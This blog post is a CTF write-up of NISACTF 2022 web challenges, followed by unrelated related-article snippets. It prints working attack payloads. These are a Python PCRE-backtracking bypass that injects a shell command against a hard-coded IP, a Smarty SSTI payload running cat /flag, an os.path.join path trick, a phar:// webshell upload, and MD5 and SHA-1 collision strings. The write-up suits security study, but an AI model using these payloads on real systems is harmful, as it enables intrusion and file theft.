CTF-NSSCTF[NISACTF 2022]

news2024/11/20 20:34:20

[NISACTF 2022]middlerce

考察:正则匹配回溯绕过

这里使用的是正则匹配的NIF匹配引擎,这个匹配引擎的原理是基于从后往前回溯的匹配机制

NIF匹配机制
 当preg_match这个函数进行匹配时是匹配完后才根据匹配到与否来返回bool值

如果匹配到也要匹配完后才返回true,而且在匹配过程中

要匹配的第一个字符与字符串中的第一个进行匹配,如果匹配成功就一直匹配下去,直至匹配不成功就到第二个要匹配的字符,如果第二个匹配的字符成功了就一直匹配下去,如果不成功就吐出原匹配好的字符串最右边的一个字符进行匹配,如果还不成功就继续吐,直至匹配成功才到下一个要匹配的字符,但是我们知道,既然前一个匹配的字符成功了就肯定不符合下一个匹配的字符。那这个回溯就没有什么用了,所以要利用这个特性就要有一个特殊的字符——.*

这个字符表示可以匹配任意的字符,那么按上面说的匹配机制, .*将会一直匹配到最后字符串的最后,然后轮到下一个字符,这样回溯才有它的利用价值

如:

要匹配的字符有.*和a           匹配asd这串字符串

1.第一个是.*匹配任意字符都成功所以匹配了asd

2.到a这个字符从后面往前回溯匹配,先吐出一个d但匹配不上,继续吐出一个s,sd还是与a匹配不上

3.直到吐出a,asd就匹配上了a

这样匹配就实现了回溯,这里回溯有一个回溯限制次数——100 万次

 当回溯超出这个次数,还没吐完的字符串就可以逃逸匹配

利用这个特性我们可以逃逸我们想要的语句,只要在我们的语句后加上100万个字符即可

等匹配超过这个次数时我们的语句自然就可以逃逸掉了

参考:PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

paylaod:

import requests
url = 'http://1.14.71.254:28288/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

[NISACTF 2022]midlevel 

考察:PHP的模板注入(Smarty模板)

题目模拟了一个获取IP的API,并且可以在最下方看到“Build With Smarty !”可以确定页面使用的是Smarty模板引擎。题目中显示的API的URL由于环境的原因无法使用,但是我们的IP依旧显示在了页面的右上角。很容易猜测出这个IP的值受XFF头控制 。抓包将XFF头改为{7*7}会发现该位置的值变为了49,便可以确定这里存在SSTI。

将XFF改为{system('cat /flag')}即可得到flag

参考:PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客

[NISACTF 2022]babyupload

考察:os.path.join()函数漏洞

先随便上传个文件,显示bad filename,查看网页源代码,访问source文件,自动下载源码

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

主要源码如下图

文件上传(upload 函数):

代码首先检查是否有名为 'file' 的文件被 POST 请求发送。
如果没有找到 'file',则重定向到根目录。
然后检查文件名中是否包含句点('.'),如果包含,则返回 "Bad filename!" 并返回状态码 403。
生成一个唯一的文件 ID(使用 uuid.uuid4().hex)。
尝试将文件信息插入数据库中(使用 SQLite),并在可能存在的情况下捕获重复文件名的异常。
将文件保存到 "uploads/" 目录下,并通过重定向返回文件的 ID。

接下来的代码

try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"

上面这个代码是进行一个sql语句,表示增加一个数据,数据为uid和文件名。

由此,当上传的文件名为 /flag ,上传后通过uuid访问文件后,查询到的文件名是 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。

访问成功获得flag

 漏洞知识:

绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

参考:绝对路径拼接漏洞 [NISACTF 2022]babyupload_绝对拼接漏洞-CSDN博客 

[NISACTF 2022]bingdundun~

考察:文件上传、Phar://伪协议

打开题目,发现是一道文件上传的题目,因为提示了可以压缩包,所以尝试直接上传zip文件,然后利用phar协议读取Webshll文件

主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击

用法就是把一句话木马压缩成zip格式,shell.php -> shell.zip,然后再上传到服务器(后续通过前端页面上传也没有问题,通常服务器不会限制上传 zip 文件),再访问:?filename=phar://…/shell.zip/shell.php,后面的记得是shell.php

?bingdundun=phar://f914ed3b03c011452521810eb0895121.zip/shell

 用蚁剑进行连接

[NISACTF 2022]level-up

考察:mds碰撞、sha1碰撞

打开一看,什么都没有,crtl+U查看源代码,发现有提示disallow:这个就是robots.txt内容的格式,接着我们就去访问一下

接着继续访问提示我们的文件

接下来进行代码审计

这是一道很常见的哈希强比较,且禁用了数组,但是有现成的payload,平时练习积攒的,所以这个时候直接拿来用就行了

MD5碰撞

array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

 之后得到Level___3.php文件,继续访问

这里进行sha1强碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

这里一直失败,也不知道啥原因

参考:[NISACTF 2022]WriteUp web篇_tt=1’||(extractvalue(‘div’, concat(‘~’,(select * f-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1954691.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux mysql 定时备份

1、创建备份文件夹 cd /homemkdir backup2、创建脚本文件 vim bkDatabaseName.sh加入以下内容&#xff08;/xp/server/mysql/bin/mysqldump是你的mysqldump备份命令&#xff0c;一般如果是正常安装的&#xff0c;可以直接用全局命令mysqldump&#xff0c;不用带前面的路径&am…

【前端 02】新浪新闻项目-初步使用CSS来排版

在今天的博文中&#xff0c;我们将围绕“新浪新闻”项目&#xff0c;深入探讨HTML和CSS在网页制作中的基础应用。通过具体实例&#xff0c;我们将学习如何设置图片、标题、超链接以及文本排版&#xff0c;同时了解CSS的引入方式和选择器优先级&#xff0c;以及视频和音频标签的…

19.延迟队列优化

问题 前面所讲的延迟队列有一个不足之处&#xff0c;比如现在有一个需求需要延迟半个小时的消息&#xff0c;那么就只有添加一个新的队列。那就意味着&#xff0c;每新增一个不同时间需求&#xff0c;就会新创建一个队列。 解决方案 应该讲消息的时间不要跟队列绑定&#xf…

介绍一款适合于程序员的手机浏览器

DT浏览器是一款适合于程序员的手机浏览器&#xff0c;主要功能有&#xff0c;资料分类收藏&#xff0c;图片资料转文字&#xff0c;智能问答&#xff0c;视频资料管理和播放&#xff0c;笔记本&#xff0c; DT浏览器使用教程之如何查空气质量&#xff0c; 在DT浏览器首页点空…

谷粒商城实战笔记-75-商品服务-API-品牌管理-品牌分类关联与级联更新

文章目录 一&#xff0c;引入Mybatis Plus分页插件二&#xff0c;品牌列表的模糊查询三&#xff0c;增加品牌测试数据四&#xff0c;开发后台品牌关联分类接口1&#xff0c;接口product/categorybrandrelation/catelog/list2&#xff0c;接口product/categorybrandrelation/sav…

第03课 Scratch入门篇: 键盘控制小猫

键盘控制小猫 入门篇适合新手&#xff0c;如您已经学过&#xff0c;可以忽略本节课&#xff01; 1、故事背景&#xff1a; 悠闲的小猫在舞台中散步&#xff0c;左左右右&#xff0c;上上下下… 2、实现原理&#xff1a; 让我们一起分析下&#xff0c;如何通过程序来…

Java 字符串 HashCode 的奇怪情况

过去 1.5 年以来&#xff0c;我一直在使用 Java 编程。最近&#xff0c;我在尝试对 Java 数据结构进行性能分析。为了亲自体验一下&#xff0c;我决定玩一下我最喜欢的数据结构&#xff0c;即 HashSet。HashSet 提供 O(1) 查找和插入时间。我测量并比较了在 HashSet 中查找具有…

kafka高性能的底层原理分析

目录 1.磁盘顺序写 2.零拷贝 3.数据压缩 4.消息批量处理 5.pageCache 6.稀疏索引 总结 Kafka是一种高吞吐量的分布式发布订阅消息系统&#xff0c;它可以处理消费者在网站中的所有动作流数据。那么他是如何做到高性能的呢&#xff0c;本篇文章从宏观上分析一下&#xff…

论文阅读——Design of Environmental backscatter tag antenna for 5G Internet of things

文章目录 摘要一、背景二、系统模型三、天线设计A. 指标B. 天线结构描述C. 天线结构优化D. 天线结构确定 四、仿真结果总结 论文来源&#xff1a;https://ieeexplore.ieee.org/document/9379395 摘要 文章针对传统设备识别在电力物联网场景中存在的可靠性低和读取距离不足的问…

2024年陕西省职业院校技能大赛高职信息安全管理与评估样题

2024年陕西省职业院校技能大赛高职信息安全管理与评估样题 模块一竞赛项目试题 根据信息安全管理与评估技术文件要求&#xff0c;模块一为网络平台搭建与网络安全防护。本文件为信息安全管理与评估项目竞赛-模块一试题。 模块一 平台搭建与安全设备防护 竞赛任务 网络平台搭建…

[网鼎杯 2020 朱雀组]Nmap(详细解读版)

这道题考察nmap的一些用法,以及escapeshellarg和escapeshellcmd两个函数的绕过&#xff0c;可以看这里PHP escapeshellarg()escapeshellcmd() 之殇 (seebug.org) 两种解题方法&#xff1a; 第一种通过nmap的-iL参数读取扫描一个文件到指定文件中第二种是利用nmap的参数写入we…

CAN总线的错误检测机制

文章目录 错误类型1、位错误-Bit Check Error2、填充错误-Stuff Error3、格式错误-Form Error4、ACK错误-ACK Error 和 CRC错误-CRC Error5、错误示例 错误处理1、主动错误 - error active2、被动错误 - error passive3、总线关闭 - bus off4、错误计数值的变动条件 参考 错误类…

信创终端操作系统上vmware的命令行操作

原文链接&#xff1a;信创终端操作系统上vmware的命令行操作 Hello&#xff0c;大家好啊&#xff01;今天给大家带来一篇关于在信创终端操作系统上使用命令行操作VMware的文章。通过命令行管理VMware虚拟机可以提高效率&#xff0c;特别是在需要批量操作或自动化管理时。本文将…

【PyCharm】PyCharm 2024.1 的最新变化-代码导航与重构

目录 代码导航与重构 改进的代码导航功能 高级重构工具 代码导航与重构 改进的代码导航功能 符号搜索和文件搜索增强&#xff1a;改进后的符号搜索功能能够更快速地定位到特定的类、函数、变量等&#xff0c;而增强的文件搜索则让用户能够轻松找到所需的文件或目录。现在&a…

【IJER】: 二苄基甲苯加氢及不同 Pt 负载量的 Pt/Al对全氢二苄基甲苯制氢的催化性能

摘要&#xff1a; 研究了二苄基甲苯加氢和全氢二苄基甲苯(H18-DBT)脱氢的特性。氢化实验使用Raney-Ni进行。结果表明&#xff0c;170℃、7MPa是最佳反应条件&#xff0c;在30小时内氢气容量达到6.2wt%。 H18-DBT 脱氢的最佳温度为 290C。此外&#xff0c;在不同Pt金属负载量&am…

【Redis系列】RedisTemplate的使用与注意事项

目录 一.什么是RedisTemplate 二.如何使用RedisTemplate RedisTemplate的API 序列化 三.StringRedisTemplate 一.什么是RedisTemplate RedisTemplate 是一个工具类&#xff0c;由 Spring 官方提供的方便操作 Redis 数据库的一个工具类&#xff0c;来源于 org.springframe…

day3 测试基础知识

1. 你认为性能测试的目的是什么&#xff1f;做好性能测试的工作的关键是什么&#xff1f; 性能测试工作的目的是检查系统是否满足在需求说明书中规定的性能&#xff0c;性能测试常常需要和强度测试结合起来&#xff0c;并常常要求同时进行软件和硬件的检测。 性能测试主要的关…

写在礼拜天

这两天巴黎奥运会&#xff0c;办的如火如荼&#xff0c;各个国家都有拿到金牌的人…… 前几天&#xff0c;俞敏洪正式发文&#xff0c;说董宇辉从东方甄选离职&#xff0c;明确已经出来单干…… 前段时间的高考成绩已经揭晓&#xff0c;有人金榜题名&#xff0c;有人名落孙山…

Spring Boot配置文件的语法规则

主要介绍两种配置文件的语法和格式&#xff0c;properties和yml 目录 1.配置文件的作用 2.创建配置文件 3.properties语法 4.yml语法 5.配置文件格式 1.配置文件的作用 对于配置文件&#xff0c;也有独立的文件夹去存放&#xff0c;主要用来存放一些需要经过变动的数据&a…

质数差列 信友队

题目描述 驰骋宇宙的鱼大大找到了一个古遗迹&#xff0c;稍作研究后发现这是一个来着远古的质数星球文明遗迹&#xff0c;这个文明的特点是所有事物都和质数息息相关。于是&#xff0c;鱼大大赶紧列出了一堆的质数&#xff0c;以方便自己的研究。 这天鱼大大找到了质数星球文明…